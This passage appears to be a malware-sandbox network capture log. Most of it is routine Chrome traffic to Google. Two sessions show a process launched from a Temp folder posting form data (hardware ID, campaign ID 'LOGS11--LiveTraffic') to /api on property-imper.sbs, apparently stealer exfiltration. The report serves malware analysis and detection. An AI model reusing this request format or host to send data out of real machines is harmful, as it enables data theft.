prediction","rockstar games gta 6","college football"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChgIkk4SEwoRVHJlbmRpbmcgc2VhcmNo
2024-11-23 12:29:34 UTC	1390	IN	Data Raw: 47 55 31 52 6a 59 6b 39 52 63 6b 78 4b 59 31 4e 33 5a 30 68 78 64 7a 56 30 63 6d 63 72 54 79 74 33 65 44 45 32 61 44 52 76 64 6c 4e 4f 54 47 35 53 59 31 56 53 59 33 70 4d 56 44 4e 4d 53 46 5a 69 57 54 49 76 59 55 52 78 51 6a 52 4a 4e 6a 52 70 53 58 70 4b 59 57 4e 4c 61 47 56 55 54 6c 6f 31 53 31 5a 75 63 44 67 32 62 55 5a 7a 64 57 70 74 4e 48 5a 76 55 56 5a 43 4e 56 4e 36 4d 33 52 77 4d 55 56 4e 54 31 63 31 64 47 4e 74 65 48 4e 6a 53 48 46 4e 65 48 46 76 65 47 31 42 4c 31 64 45 64 56 6c 6f 56 48 4e 6e 61 6d 39 35 56 31 46 75 56 48 45 79 53 48 68 43 63 6a 6c 50 4d 58 6f 30 64 30 74 76 63 54 4e 70 62 33 42 33 53 48 70 6f 64 6e 45 35 56 48 52 45 65 6d 63 7a 51 54 46 42 51 57 63 34 56 47 55 31 51 58 64 55 54 33 42 49 63 44 52 68 62 58 46 68 56 45 39 35 63 6b Data Ascii: GU1RjYk9RckxKY1N3Z0hxdzV0cmcrTyt3eDE2aDRvdlNOTG5SY1VSY3pMVDNMSFZiWTIvYURxQjRJNjRpSXpKYWNLaGVUTlo1S1ZucDg2bUZzdWptNHZvUVZCNVN6M3RwMUVNT1c1dGNteHNjSHFNeHFveG1BL1dEdVloVHNnam95V1FuVHEySHhCcjlPMXo0d0tvcTNpb3B3SHpodnE5VHREemczQTFBQWc4VGU1QXdUT3BIcDRhbXFhVE95ck
2024-11-23 12:29:34 UTC	565	IN	Data Raw: 57 46 31 53 54 5a 4b 52 6a 45 77 65 54 42 79 52 7a 56 32 64 32 67 77 56 7a 6b 76 62 47 70 55 57 6b 4e 56 4d 48 45 33 53 57 5a 32 51 33 68 51 4b 32 4e 6a 65 45 31 4c 51 57 56 77 64 58 64 46 4f 55 38 31 61 47 74 43 63 56 70 70 51 32 68 47 64 56 56 6b 64 6d 78 6e 5a 56 4e 72 64 47 78 72 53 6c 6c 72 62 6d 5a 78 59 6a 6c 36 61 6e 56 4b 61 6b 39 4a 4e 6d 6b 30 4b 30 64 7a 65 6a 42 75 65 58 5a 61 4c 79 38 35 61 7a 30 36 45 47 4e 76 62 47 78 6c 5a 32 55 67 5a 6d 39 76 64 47 4a 68 62 47 78 4b 42 79 4d 30 4d 6a 51 79 4e 44 4a 53 50 6d 64 7a 58 33 4e 7a 63 44 31 6c 53 6e 70 71 4e 48 52 69 55 44 46 55 59 33 64 4f 54 58 42 4a 63 54 42 71 54 30 31 48 52 44 42 46 61 32 70 50 65 6a 68 73 53 6c 52 56 4f 56 5a 54 54 58 5a 51 54 44 42 73 53 33 70 4e 61 30 4a 42 53 6d 74 4d Data Ascii: WF1STZKRjEweTByRzV2d2gwVzkvbGpUWkNVMHE3SWZ2Q3hQK2NjeE1LQWVwdXdFOU81aGtCcVppQ2hGdVVkdmxnZVNrdGxrSllrbmZxYjl6anVKak9JNmk0K0dzejBueXZaLy85az06EGNvbGxlZ2UgZm9vdGJhbGxKByM0MjQyNDJSPmdzX3NzcD1lSnpqNHRiUDFUY3dOTXBJcTBqT01HRDBFa2pPejhsSlRVOVZTTXZQTDBsS3pNa0JBSmtM
2024-11-23 12:29:34 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.6	49989	142.250.181.68	443	6532	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 12:29:33 UTC	506	OUT	GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIlaHLAQj6mM0BCIWgzQEI3L3NAQiQys0BCLnKzQEI6dLNAQjo1c0BCMvWzQEIqNjNAQj5wNQVGLrSzQEY642lFw== Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-23 12:29:34 UTC	1018	IN	HTTP/1.1 200 OK Version: 698289427 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Sat, 23 Nov 2024 12:29:34 GMT Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-23 12:29:34 UTC	372	IN	Data Raw: 31 66 38 62 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 6c 61 6e 67 75 61 67 65 5f 63 6f 64 65 22 3a 22 65 6e 2d 55 53 22 2c 22 6f 67 62 22 3a 7b 22 68 74 6d 6c 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 68 74 6d 6c 5f 77 72 61 70 70 65 64 5f 76 61 6c 75 65 22 3a 22 5c 75 30 30 33 63 68 65 61 64 65 72 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 45 61 20 67 62 5f 32 64 20 67 62 5f 51 65 20 67 62 5f 71 64 5c 22 20 69 64 5c 75 30 30 33 64 5c 22 67 62 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 61 6e 6e 65 72 5c 22 20 73 74 79 6c 65 5c 75 30 30 33 64 5c 22 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 74 72 61 6e 73 70 61 72 65 6e 74 5c 22 5c 75 30 30 33 65 Data Ascii: 1f8b)]}'{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_2d gb_Qe gb_qd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e
2024-11-23 12:29:34 UTC	1390	IN	Data Raw: 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 77 64 20 67 62 5f 72 64 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 4a 63 20 67 62 5f 51 5c 22 20 61 72 69 61 2d 65 78 70 61 6e 64 65 64 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 61 72 69 61 2d 6c 61 62 65 6c 5c 75 30 30 33 64 5c 22 4d 61 69 6e 20 6d 65 6e 75 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 75 74 74 6f 6e 5c 22 20 74 61 62 69 6e 64 65 78 5c 75 30 30 33 64 5c 22 30 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 76 67 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 76 69 65 77 62 6f 78 5c 75 30 30 33 64 5c 22 30 20 30 20 32 34 20 32 34 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 70 61 74 68 20 64 5c 75 30 Data Ascii: class\u003d\"gb_wd gb_rd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u0
2024-11-23 12:29:34 UTC	1390	IN	Data Raw: 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 77 64 20 67 62 5f 38 63 20 67 62 5f 39 63 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 70 61 6e 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 75 64 5c 22 20 61 72 69 61 2d 6c 65 76 65 6c 5c 75 30 30 33 64 5c 22 31 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 68 65 61 64 69 6e 67 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 5c 2f 73 70 61 6e 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 61 64 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 Data Ascii: 003cdiv class\u003d\"gb_wd gb_8c gb_9c\"\u003e\u003cspan class\u003d\"gb_ud\" aria-level\u003d\"1\" role\u003d\"heading\"\u003e \u003c\/span\u003e\u003cdiv class\u003d\"gb_ad\"\u003e \u003c\/div\u003e\u003c\/div\u003e\u003c\/div\u003e\u003cdiv class\u003d
2024-11-23 12:29:34 UTC	1390	IN	Data Raw: 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 44 5c 22 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 68 65 69 67 68 74 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 20 76 69 65 77 42 6f 78 5c 75 30 30 33 64 5c 22 30 20 2d 39 36 30 20 39 36 30 20 39 36 30 5c 22 20 77 69 64 74 68 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 70 61 74 68 20 64 5c 75 30 30 33 64 5c 22 4d 32 30 39 2d 31 32 30 71 2d 34 32 20 30 2d 37 30 2e 35 2d 32 38 2e 35 54 31 31 30 2d 32 31 37 71 30 2d 31 34 20 33 2d 32 35 2e 35 74 39 2d 32 31 2e 35 6c 32 32 38 2d 33 34 31 71 31 30 2d 31 34 20 31 35 2d 33 31 74 35 2d 33 34 76 2d 31 31 30 68 2d 32 30 71 2d 31 33 20 30 2d 32 31 2e 35 2d 38 2e 35 54 33 32 30 2d 38 31 30 71 30 2d 31 33 20 Data Ascii: ss\u003d\"gb_D\" focusable\u003d\"false\" height\u003d\"24px\" viewBox\u003d\"0 -960 960 960\" width\u003d\"24px\"\u003e \u003cpath d\u003d\"M209-120q-42 0-70.5-28.5T110-217q0-14 3-25.5t9-21.5l228-341q10-14 15-31t5-34v-110h-20q-13 0-21.5-8.5T320-810q0-13
2024-11-23 12:29:34 UTC	1390	IN	Data Raw: 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 36 2c 36 63 30 2c 31 2e 31 20 30 2e 39 2c 32 20 32 2c 32 73 32 2c 2d 30 2e 39 20 32 2c 2d 32 20 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 7a 4d 31 32 2c 38 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 38 2c 31 34 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 38 2c 32 30 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c Data Ascii: 1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM16,6c0,1.1 0.9,2 2,2s2,-0.9 2,-2 -0.9,-2 -2,-2 -2,0.9 -2,2zM12,8c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM18,14c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM18,20c1.1,0 2,-0.9 2,
2024-11-23 12:29:34 UTC	1390	IN	Data Raw: 65 6e 75 2d 63 6f 6e 74 65 6e 74 22 2c 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 62 61 72 5f 68 65 69 67 68 74 22 3a 36 30 2c 22 65 78 70 65 72 69 6d 65 6e 74 5f 69 64 22 3a 5b 33 37 30 30 32 34 32 2c 33 37 30 31 33 38 34 5d 2c 22 69 73 5f 62 61 63 6b 75 70 5f 62 61 72 22 3a 66 61 6c 73 65 7d 2c 22 70 61 67 65 5f 68 6f 6f 6b 73 22 3a 7b 22 61 66 74 65 72 5f 62 61 72 5f 73 63 72 69 70 74 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 73 63 72 69 70 74 5f 77 72 61 70 70 65 64 5f 76 61 6c 75 65 22 3a 22 74 68 69 73 2e 67 62 61 72 5f 5c 75 30 30 33 64 74 68 69 73 2e 67 62 61 72 5f 7c 7c 7b 7d 3b 28 66 75 6e 63 74 69 6f 6e 28 5f 29 7b 76 61 72 20 77 69 6e 64 6f 77 5c 75 30 30 33 64 74 68 69 73 Data Ascii: enu-content","metadata":{"bar_height":60,"experiment_id":[3700242,3701384],"is_backup_bar":false},"page_hooks":{"after_bar_script":{"private_do_not_access_or_else_safe_script_wrapped_value":"this.gbar_\u003dthis.gbar_\|\|{};(function(_){var window\u003dthis
2024-11-23 12:29:34 UTC	761	IN	Data Raw: 6f 72 28 6c 65 74 20 64 5c 75 30 30 33 64 30 3b 64 5c 75 30 30 33 63 62 3b 64 2b 2b 29 63 5b 64 5d 5c 75 30 30 33 64 61 5b 64 5d 3b 72 65 74 75 72 6e 20 63 7d 72 65 74 75 72 6e 5b 5d 7d 3b 49 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 6e 65 77 20 5f 2e 48 64 28 62 5c 75 30 30 33 64 5c 75 30 30 33 65 62 2e 73 75 62 73 74 72 28 30 2c 61 2e 6c 65 6e 67 74 68 2b 31 29 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 75 30 30 33 64 61 2b 5c 22 3a 5c 22 29 7d 3b 5f 2e 4a 64 5c 75 30 30 33 64 67 6c 6f 62 61 6c 54 68 69 73 2e 74 72 75 73 74 65 64 54 79 70 65 73 3b 5f 2e 4b 64 5c 75 30 30 33 64 63 6c 61 73 73 7b 63 6f 6e 73 74 72 75 63 74 6f 72 28 61 29 7b 74 68 69 73 2e 69 5c 75 30 30 33 64 61 7d Data Ascii: or(let d\u003d0;d\u003cb;d++)c[d]\u003da[d];return c}return[]};Id\u003dfunction(a){return new _.Hd(b\u003d\u003eb.substr(0,a.length+1).toLowerCase()\u003d\u003d\u003da+\":\")};_.Jd\u003dglobalThis.trustedTypes;_.Kd\u003dclass{constructor(a){this.i\u003da}
2024-11-23 12:29:34 UTC	399	IN	Data Raw: 31 38 38 0d 0a 76 6f 69 64 20 30 7d 3b 5f 2e 51 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 61 5c 75 30 30 33 64 5c 75 30 30 33 64 6e 75 6c 6c 29 72 65 74 75 72 6e 20 61 3b 69 66 28 74 79 70 65 6f 66 20 61 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 73 74 72 69 6e 67 5c 22 29 7b 69 66 28 21 61 29 72 65 74 75 72 6e 3b 61 5c 75 30 30 33 64 2b 61 7d 69 66 28 74 79 70 65 6f 66 20 61 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 6e 75 6d 62 65 72 5c 22 29 72 65 74 75 72 6e 20 4e 75 6d 62 65 72 2e 69 73 46 69 6e 69 74 65 28 61 29 3f 61 7c 30 3a 76 6f 69 64 20 30 7d 3b 53 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 29 7b 6c 65 74 20 61 5c 75 30 30 33 64 6e 75 6c 6c 3b 69 66 28 21 52 64 29 72 65 74 75 72 6e Data Ascii: 188void 0};_.Qd\u003dfunction(a){if(a\u003d\u003dnull)return a;if(typeof a\u003d\u003d\u003d\"string\"){if(!a)return;a\u003d+a}if(typeof a\u003d\u003d\u003d\"number\")return Number.isFinite(a)?a\|0:void 0};Sd\u003dfunction(){let a\u003dnull;if(!Rd)return
2024-11-23 12:29:34 UTC	1390	IN	Data Raw: 38 30 30 30 0d 0a 7d 3b 5f 2e 55 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 29 7b 54 64 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 75 30 30 33 64 76 6f 69 64 20 30 5c 75 30 30 32 36 5c 75 30 30 32 36 28 54 64 5c 75 30 30 33 64 53 64 28 29 29 3b 72 65 74 75 72 6e 20 54 64 7d 3b 5c 6e 5f 2e 57 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 63 6f 6e 73 74 20 62 5c 75 30 30 33 64 5f 2e 55 64 28 29 3b 72 65 74 75 72 6e 20 6e 65 77 20 5f 2e 56 64 28 62 3f 62 2e 63 72 65 61 74 65 53 63 72 69 70 74 55 52 4c 28 61 29 3a 61 29 7d 3b 5f 2e 58 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 61 20 69 6e 73 74 61 6e 63 65 6f 66 20 5f 2e 56 64 29 72 65 74 75 72 6e 20 61 2e 69 3b 74 68 72 6f 77 20 45 72 72 6f 72 28 5c 22 46 5c 22 29 3b 7d 3b Data Ascii: 8000};_.Ud\u003dfunction(){Td\u003d\u003d\u003dvoid 0\u0026\u0026(Td\u003dSd());return Td};\n_.Wd\u003dfunction(a){const b\u003d_.Ud();return new _.Vd(b?b.createScriptURL(a):a)};_.Xd\u003dfunction(a){if(a instanceof _.Vd)return a.i;throw Error(\"F\");};
2024-11-23 12:29:34 UTC	1390	IN	Data Raw: 29 7d 3b 5f 2e 6b 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 72 65 74 75 72 6e 20 74 79 70 65 6f 66 20 62 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 73 74 72 69 6e 67 5c 22 3f 61 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 62 29 3a 62 7d 3b 5f 2e 55 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 76 61 72 20 63 5c 75 30 30 33 64 62 7c 7c 64 6f 63 75 6d 65 6e 74 3b 63 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 43 6c 61 73 73 4e 61 6d 65 3f 61 5c 75 30 30 33 64 63 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 43 6c 61 73 73 4e 61 6d 65 28 61 29 5b 30 5d 3a 28 63 5c 75 30 30 33 64 64 6f 63 75 6d 65 6e 74 2c 61 3f 61 5c 75 30 30 33 64 28 62 7c 7c 63 29 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 28 61 3f 5c 22 2e Data Ascii: )};_.ke\u003dfunction(a,b){return typeof b\u003d\u003d\u003d\"string\"?a.getElementById(b):b};_.U\u003dfunction(a,b){var c\u003db\|\|document;c.getElementsByClassName?a\u003dc.getElementsByClassName(a)[0]:(c\u003ddocument,a?a\u003d(b\|\|c).querySelector(a?\".

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.6	49990	142.250.181.68	443	6532	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 12:29:34 UTC	353	OUT	GET /async/newtab_promos HTTP/1.1 Host: www.google.com Connection: keep-alive Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-23 12:29:34 UTC	1034	IN	HTTP/1.1 200 OK Version: 698289427 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Save-Data Accept-CH: Downlink Accept-CH: ECT Accept-CH: RTT Accept-CH: Device-Memory Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Sat, 23 Nov 2024 12:29:34 GMT Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-23 12:29:34 UTC	35	IN	Data Raw: 31 64 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 70 72 6f 6d 6f 73 22 3a 7b 7d 7d 7d 0d 0a Data Ascii: 1d)]}'{"update":{"promos":{}}}
2024-11-23 12:29:34 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.6	50002	104.21.33.116	443	2940	C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 12:29:36 UTC	276	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=S8SFTD1NIJ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 11574 Host: property-imper.sbs
2024-11-23 12:29:36 UTC	11574	OUT	Data Raw: 2d 2d 53 38 53 46 54 44 31 4e 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 39 45 30 44 32 46 35 42 37 44 45 34 41 42 37 44 37 43 42 42 44 36 44 46 32 38 44 33 37 33 32 0d 0a 2d 2d 53 38 53 46 54 44 31 4e 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 53 38 53 46 54 44 31 4e 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d 2d 53 38 53 46 54 44 31 4e 49 4a 0d 0a 43 6f Data Ascii: --S8SFTD1NIJContent-Disposition: form-data; name="hwid"A9E0D2F5B7DE4AB7D7CBBD6DF28D3732--S8SFTD1NIJContent-Disposition: form-data; name="pid"2--S8SFTD1NIJContent-Disposition: form-data; name="lid"LOGS11--LiveTraffic--S8SFTD1NIJCo
2024-11-23 12:29:38 UTC	1018	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 12:29:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=js6h1kb1foq6559j7d22os388g; expires=Wed, 19-Mar-2025 06:16:16 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=qU3SkhbHlVfW8dQ9kNgjlf2dc2U%2BNSXjmCptRDEJoUkx63sqi5cDNS2k1A7fWtEczhugSaJsuTXXvjeao3aSF%2BZjEvUW3mBkgMZ05byZcJp3%2Bep1xsKak1i5Rur6c2xfsOKP9NE%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e712a719a414302-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1641&sent=13&recv=17&lost=0&retrans=0&sent_bytes=2845&recv_bytes=12508&delivery_rate=1794714&cwnd=252&unsent_bytes=0&cid=5178ce6d0ed03e92&ts=1484&x=0"
2024-11-23 12:29:38 UTC	19	IN	Data Raw: 65 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 37 35 0d 0a Data Ascii: eok 8.46.123.75
2024-11-23 12:29:38 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.6	50014	104.21.33.116	443	2940	C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 12:29:40 UTC	283	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=4J6XHCVGRXY0WV0SR User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15105 Host: property-imper.sbs
2024-11-23 12:29:40 UTC	15105	OUT	Data Raw: 2d 2d 34 4a 36 58 48 43 56 47 52 58 59 30 57 56 30 53 52 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 39 45 30 44 32 46 35 42 37 44 45 34 41 42 37 44 37 43 42 42 44 36 44 46 32 38 44 33 37 33 32 0d 0a 2d 2d 34 4a 36 58 48 43 56 47 52 58 59 30 57 56 30 53 52 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 34 4a 36 58 48 43 56 47 52 58 59 30 57 56 30 53 52 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 Data Ascii: --4J6XHCVGRXY0WV0SRContent-Disposition: form-data; name="hwid"A9E0D2F5B7DE4AB7D7CBBD6DF28D3732--4J6XHCVGRXY0WV0SRContent-Disposition: form-data; name="pid"2--4J6XHCVGRXY0WV0SRContent-Disposition: form-data; name="lid"LOGS11--LiveTraf
